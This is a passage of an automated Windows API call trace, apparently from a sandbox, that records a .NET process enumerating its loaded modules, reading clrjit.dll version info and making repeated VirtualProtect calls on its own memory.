(cb=0x804) returned 0xd7fb50 [0273.838] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x73b10000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0273.838] CoTaskMemFree (pv=0xd7fb50) [0273.838] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.838] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x73b10000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0273.838] CoTaskMemFree (pv=0xd7fb50) [0273.838] GetModuleInformation (in: hProcess=0x2f4, hModule=0x73420000, lpmodinfo=0x2eff840, cb=0xc | out: lpmodinfo=0x2eff840*(lpBaseOfDll=0x73420000, SizeOfImage=0x6e6000, EntryPoint=0x734383d0)) returned 1 [0273.838] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.838] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x73420000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0273.838] CoTaskMemFree (pv=0xd7fb50) [0273.838] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.838] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x73420000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0273.838] CoTaskMemFree (pv=0xd7fb50) [0273.838] GetModuleInformation (in: hProcess=0x2f4, hModule=0x73320000, lpmodinfo=0x2f01970, cb=0xc | out: lpmodinfo=0x2f01970*(lpBaseOfDll=0x73320000, SizeOfImage=0xf5000, EntryPoint=0x73374180)) returned 1 [0273.839] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.839] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x73320000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0273.839] CoTaskMemFree (pv=0xd7fb50) [0273.839] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.839] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x73320000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0273.839] CoTaskMemFree (pv=0xd7fb50) [0273.839] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74fa0000, lpmodinfo=0x2f03aa4, cb=0xc | out: lpmodinfo=0x2f03aa4*(lpBaseOfDll=0x74fa0000, SizeOfImage=0x45000, EntryPoint=0x74fb9260)) returned 1 [0273.839] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.839] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74fa0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0273.839] CoTaskMemFree (pv=0xd7fb50) [0273.839] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.840] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74fa0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\SHLWAPI.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")) returned 0x1f [0273.840] CoTaskMemFree (pv=0xd7fb50) [0273.840] GetModuleInformation (in: hProcess=0x2f4, hModule=0x71f90000, lpmodinfo=0x2f05bb0, cb=0xc | out: lpmodinfo=0x2f05bb0*(lpBaseOfDll=0x71f90000, SizeOfImage=0x138d000, EntryPoint=0x0)) returned 1 [0273.840] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.840] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x71f90000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0273.840] CoTaskMemFree (pv=0xd7fb50) [0273.840] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.840] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x71f90000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\f12799647dc4f4abd2f0f17790337f04\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\f12799647dc4f4abd2f0f17790337f04\\mscorlib.ni.dll")) returned 0x68 [0273.840] CoTaskMemFree (pv=0xd7fb50) [0273.840] GetModuleInformation (in: hProcess=0x2f4, hModule=0x71f70000, lpmodinfo=0x2f07d58, cb=0xc | out: lpmodinfo=0x2f07d58*(lpBaseOfDll=0x71f70000, SizeOfImage=0x13000, EntryPoint=0x71f76c40)) returned 1 [0273.840] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.840] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x71f70000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0273.840] CoTaskMemFree (pv=0xd7fb50) [0273.840] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.840] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x71f70000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0273.841] CoTaskMemFree (pv=0xd7fb50) [0273.841] GetModuleInformation (in: hProcess=0x2f4, hModule=0x71f40000, lpmodinfo=0x2f09e64, cb=0xc | out: lpmodinfo=0x2f09e64*(lpBaseOfDll=0x71f40000, SizeOfImage=0x2f000, EntryPoint=0x71f4c000)) returned 1 [0273.841] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.841] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x71f40000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0273.841] CoTaskMemFree (pv=0xd7fb50) [0273.841] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.841] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x71f40000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0273.841] CoTaskMemFree (pv=0xd7fb50) [0273.841] GetModuleInformation (in: hProcess=0x2f4, hModule=0x71f20000, lpmodinfo=0x2f0c07c, cb=0xc | out: lpmodinfo=0x2f0c07c*(lpBaseOfDll=0x71f20000, SizeOfImage=0x18000, EntryPoint=0x71f28f30)) returned 1 [0273.841] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.841] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x71f20000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="bcrypt.dll") returned 0xa [0273.841] CoTaskMemFree (pv=0xd7fb50) [0273.841] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.841] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x71f20000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")) returned 0x1e [0273.842] CoTaskMemFree (pv=0xd7fb50) [0273.842] GetModuleInformation (in: hProcess=0x2f4, hModule=0x71ea0000, lpmodinfo=0x2f0e188, cb=0xc | out: lpmodinfo=0x2f0e188*(lpBaseOfDll=0x71ea0000, SizeOfImage=0x80000, EntryPoint=0x71ea1180)) returned 1 [0273.842] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.842] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x71ea0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0273.842] CoTaskMemFree (pv=0xd7fb50) [0273.842] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.842] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x71ea0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0273.842] CoTaskMemFree (pv=0xd7fb50) [0273.842] GetModuleInformation (in: hProcess=0x2f4, hModule=0x714c0000, lpmodinfo=0x2f102c8, cb=0xc | out: lpmodinfo=0x2f102c8*(lpBaseOfDll=0x714c0000, SizeOfImage=0x9df000, EntryPoint=0x0)) returned 1 [0273.842] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.842] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x714c0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0273.842] CoTaskMemFree (pv=0xd7fb50) [0273.842] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.842] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x714c0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System\\fcfb8bac8ea9a0e69d72c350b22f8e3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\fcfb8bac8ea9a0e69d72c350b22f8e3f\\system.ni.dll")) returned 0x64 [0273.843] CoTaskMemFree (pv=0xd7fb50) [0273.843] GetModuleInformation (in: hProcess=0x2f4, hModule=0x71320000, lpmodinfo=0x2f12464, cb=0xc | out: lpmodinfo=0x2f12464*(lpBaseOfDll=0x71320000, SizeOfImage=0x194000, EntryPoint=0x0)) returned 1 [0273.843] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.843] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x71320000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0273.843] CoTaskMemFree (pv=0xd7fb50) [0273.843] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.843] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x71320000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\5b307e2b9719b21749a8c73127ab5f45\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\5b307e2b9719b21749a8c73127ab5f45\\system.drawing.ni.dll")) returned 0x74 [0273.843] CoTaskMemFree (pv=0xd7fb50) [0273.843] GetModuleInformation (in: hProcess=0x2f4, hModule=0x70620000, lpmodinfo=0x2f14630, cb=0xc | out: lpmodinfo=0x2f14630*(lpBaseOfDll=0x70620000, SizeOfImage=0xcf2000, EntryPoint=0x0)) returned 1 [0273.843] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.843] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x70620000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0273.844] CoTaskMemFree (pv=0xd7fb50) [0273.844] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.844] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x70620000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\02d3b6022cc1ee466eb660dedcff59aa\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\02d3b6022cc1ee466eb660dedcff59aa\\system.windows.forms.ni.dll")) returned 0x80 [0273.844] CoTaskMemFree (pv=0xd7fb50) [0273.844] GetModuleInformation (in: hProcess=0x2f4, hModule=0x742b0000, lpmodinfo=0x2f16820, cb=0xc | out: lpmodinfo=0x2f16820*(lpBaseOfDll=0x742b0000, SizeOfImage=0x6000, EntryPoint=0x742b1460)) returned 1 [0273.844] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.844] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x742b0000, lpBaseName=0xd7fb50, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0273.844] CoTaskMemFree (pv=0xd7fb50) [0273.844] CoTaskMemAlloc (cb=0x804) returned 0xd7fb50 [0273.844] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x742b0000, lpFilename=0xd7fb50, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")) returned 0x1d [0273.844] CoTaskMemFree (pv=0xd7fb50) [0273.844] CloseHandle (hObject=0x2f4) returned 1 [0273.862] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ca78 | out: phkResult=0x19ca78*=0x0) returned 0x2 [0273.863] RegCloseKey (hKey=0x80000002) returned 0x0 [0273.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll", nBufferLength=0x105, lpBuffer=0x19ccf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll", lpFilePart=0x0) returned 0x38 [0273.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19d1ac) returned 1 [0273.865] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll"), fInfoLevelId=0x0, lpFileInformation=0x19d228 | out: lpFileInformation=0x19d228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x795c1cb6, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x795c1cb6, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x795c1cb6, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x7faa0)) returned 1 [0273.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19d1a8) returned 1 [0273.915] GetCurrentProcess () returned 0xffffffff [0273.915] GetCurrentProcess () returned 0xffffffff [0273.916] GetCurrentProcess () returned 0xffffffff [0273.916] GetCurrentProcess () returned 0xffffffff [0273.918] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll", lpdwHandle=0x19d29c | out: lpdwHandle=0x19d29c) returned 0x814 [0273.919] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll", dwHandle=0x0, dwLen=0x814, lpData=0x2f1a03c | out: lpData=0x2f1a03c) returned 1 [0273.919] VerQueryValueW (in: pBlock=0x2f1a03c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19d270, puLen=0x19d26c | out: lplpBuffer=0x19d270*=0x2f1a440, puLen=0x19d26c) returned 1 [0273.921] VerQueryValueW (in: pBlock=0x2f1a03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\CompanyName", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x2f1a0f4, puLen=0x19d1ec) returned 1 [0273.922] VerQueryValueW (in: pBlock=0x2f1a03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileDescription", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x2f1a148, puLen=0x19d1ec) returned 1 [0273.922] VerQueryValueW (in: pBlock=0x2f1a03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x2f1a1c4, puLen=0x19d1ec) returned 1 [0273.922] VerQueryValueW (in: pBlock=0x2f1a03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x2f1a22c, puLen=0x19d1ec) returned 1 [0273.922] VerQueryValueW (in: pBlock=0x2f1a03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x2f1a268, puLen=0x19d1ec) returned 1 [0273.922] VerQueryValueW (in: pBlock=0x2f1a03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x2f1a2f0, puLen=0x19d1ec) returned 1 [0273.922] VerQueryValueW (in: pBlock=0x2f1a03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x2f1a328, puLen=0x19d1ec) returned 1 [0273.922] VerQueryValueW (in: pBlock=0x2f1a03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x2f1a380, puLen=0x19d1ec) returned 1 [0273.922] VerQueryValueW (in: pBlock=0x2f1a03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x2f1a3b0, puLen=0x19d1ec) returned 1 [0273.922] VerQueryValueW (in: pBlock=0x2f1a03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x0, puLen=0x19d1ec) returned 0 [0273.922] VerQueryValueW (in: pBlock=0x2f1a03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x2f1a3ec, puLen=0x19d1ec) returned 1 [0273.922] VerQueryValueW (in: pBlock=0x2f1a03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x0, puLen=0x19d1ec) returned 0 [0273.922] VerQueryValueW (in: pBlock=0x2f1a03c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19d1e4, puLen=0x19d1e0 | out: lplpBuffer=0x19d1e4*=0x2f1a440, puLen=0x19d1e0) returned 1 [0273.922] VerLanguageNameW (in: wLang=0x409, szLang=0x19cf74, cchLang=0x100 | out: szLang="English (United States)") returned 0x17 [0273.932] VerQueryValueW (in: pBlock=0x2f1a03c, lpSubBlock="\\", lplpBuffer=0x19d1f4, puLen=0x19d1f0 | out: lplpBuffer=0x19d1f4*=0x2f1a064, puLen=0x19d1f0) returned 1 [0274.022] VirtualProtect (in: lpAddress=0x2e20468, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.022] GetCurrentProcess () returned 0xffffffff [0274.025] VirtualProtect (in: lpAddress=0x2e20468, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.025] GetCurrentProcess () returned 0xffffffff [0274.026] VirtualProtect (in: lpAddress=0x2e20470, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.026] GetCurrentProcess () returned 0xffffffff [0274.026] VirtualProtect (in: lpAddress=0x2e20470, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.027] GetCurrentProcess () returned 0xffffffff [0274.027] VirtualProtect (in: lpAddress=0x2e20478, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.027] GetCurrentProcess () returned 0xffffffff [0274.028] VirtualProtect (in: lpAddress=0x2e20478, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.028] GetCurrentProcess () returned 0xffffffff [0274.029] VirtualProtect (in: lpAddress=0x2e20498, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.029] GetCurrentProcess () returned 0xffffffff [0274.029] VirtualProtect (in: lpAddress=0x2e20498, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.029] GetCurrentProcess () returned 0xffffffff [0274.030] VirtualProtect (in: lpAddress=0x2e204a8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.030] GetCurrentProcess () returned 0xffffffff [0274.031] VirtualProtect (in: lpAddress=0x2e204a8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.031] GetCurrentProcess () returned 0xffffffff [0274.031] VirtualProtect (in: lpAddress=0x2e204c0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.031] GetCurrentProcess () returned 0xffffffff [0274.032] VirtualProtect (in: lpAddress=0x2e204c0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.032] GetCurrentProcess () returned 0xffffffff [0274.033] VirtualProtect (in: lpAddress=0x2e204d8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.033] GetCurrentProcess () returned 0xffffffff [0274.033] VirtualProtect (in: lpAddress=0x2e204d8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.033] GetCurrentProcess () returned 0xffffffff [0274.034] VirtualProtect (in: lpAddress=0x2e204e8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.034] GetCurrentProcess () returned 0xffffffff [0274.035] VirtualProtect (in: lpAddress=0x2e204e8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.035] GetCurrentProcess () returned 0xffffffff [0274.035] VirtualProtect (in: lpAddress=0x2e204f8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.035] GetCurrentProcess () returned 0xffffffff [0274.036] VirtualProtect (in: lpAddress=0x2e204f8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.036] GetCurrentProcess () returned 0xffffffff [0274.037] VirtualProtect (in: lpAddress=0x2e20508, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.037] GetCurrentProcess () returned 0xffffffff [0274.037] VirtualProtect (in: lpAddress=0x2e20508, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.038] GetCurrentProcess () returned 0xffffffff [0274.038] VirtualProtect (in: lpAddress=0x2e20528, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.038] GetCurrentProcess () returned 0xffffffff [0274.039] VirtualProtect (in: lpAddress=0x2e20528, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.039] GetCurrentProcess () returned 0xffffffff [0274.040] VirtualProtect (in: lpAddress=0x2e20538, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.040] GetCurrentProcess () returned 0xffffffff [0274.040] VirtualProtect (in: lpAddress=0x2e20538, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.040] GetCurrentProcess () returned 0xffffffff [0274.041] VirtualProtect (in: lpAddress=0x2e2089c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.041] GetCurrentProcess () returned 0xffffffff [0274.042] VirtualProtect (in: lpAddress=0x2e2089c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.042] GetCurrentProcess () returned 0xffffffff [0274.043] VirtualProtect (in: lpAddress=0x2e208a4, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.043] GetCurrentProcess () returned 0xffffffff [0274.044] VirtualProtect (in: lpAddress=0x2e208a4, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.044] GetCurrentProcess () returned 0xffffffff [0274.044] VirtualProtect (in: lpAddress=0x2e208ac, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.045] GetCurrentProcess () returned 0xffffffff [0274.045] VirtualProtect (in: lpAddress=0x2e208ac, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.045] GetCurrentProcess () returned 0xffffffff [0274.046] VirtualProtect (in: lpAddress=0x2e20908, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.046] GetCurrentProcess () returned 0xffffffff [0274.047] VirtualProtect (in: lpAddress=0x2e20908, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.047] GetCurrentProcess () returned 0xffffffff [0274.048] VirtualProtect (in: lpAddress=0x2e20910, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.048] GetCurrentProcess () returned 0xffffffff [0274.048] VirtualProtect (in: lpAddress=0x2e20910, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.048] GetCurrentProcess () returned 0xffffffff [0274.049] VirtualProtect (in: lpAddress=0x2e20918, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.049] GetCurrentProcess () returned 0xffffffff [0274.050] VirtualProtect (in: lpAddress=0x2e20918, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.050] GetCurrentProcess () returned 0xffffffff [0274.050] VirtualProtect (in: lpAddress=0x2e20944, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.050] GetCurrentProcess () returned 0xffffffff [0274.051] VirtualProtect (in: lpAddress=0x2e20944, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.051] GetCurrentProcess () returned 0xffffffff [0274.052] VirtualProtect (in: lpAddress=0x2e20954, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.052] GetCurrentProcess () returned 0xffffffff [0274.052] VirtualProtect (in: lpAddress=0x2e20954, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.052] GetCurrentProcess () returned 0xffffffff [0274.053] VirtualProtect (in: lpAddress=0x2e2095c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.053] GetCurrentProcess () returned 0xffffffff [0274.054] VirtualProtect (in: lpAddress=0x2e2095c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.054] GetCurrentProcess () returned 0xffffffff [0274.101] VirtualProtect (in: lpAddress=0x2e2097c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0274.102] GetCurrentProcess () returned 0xffffffff [0274.102] VirtualProtect (in: lpAddress=0x2e2097c, dwSize=0x4, 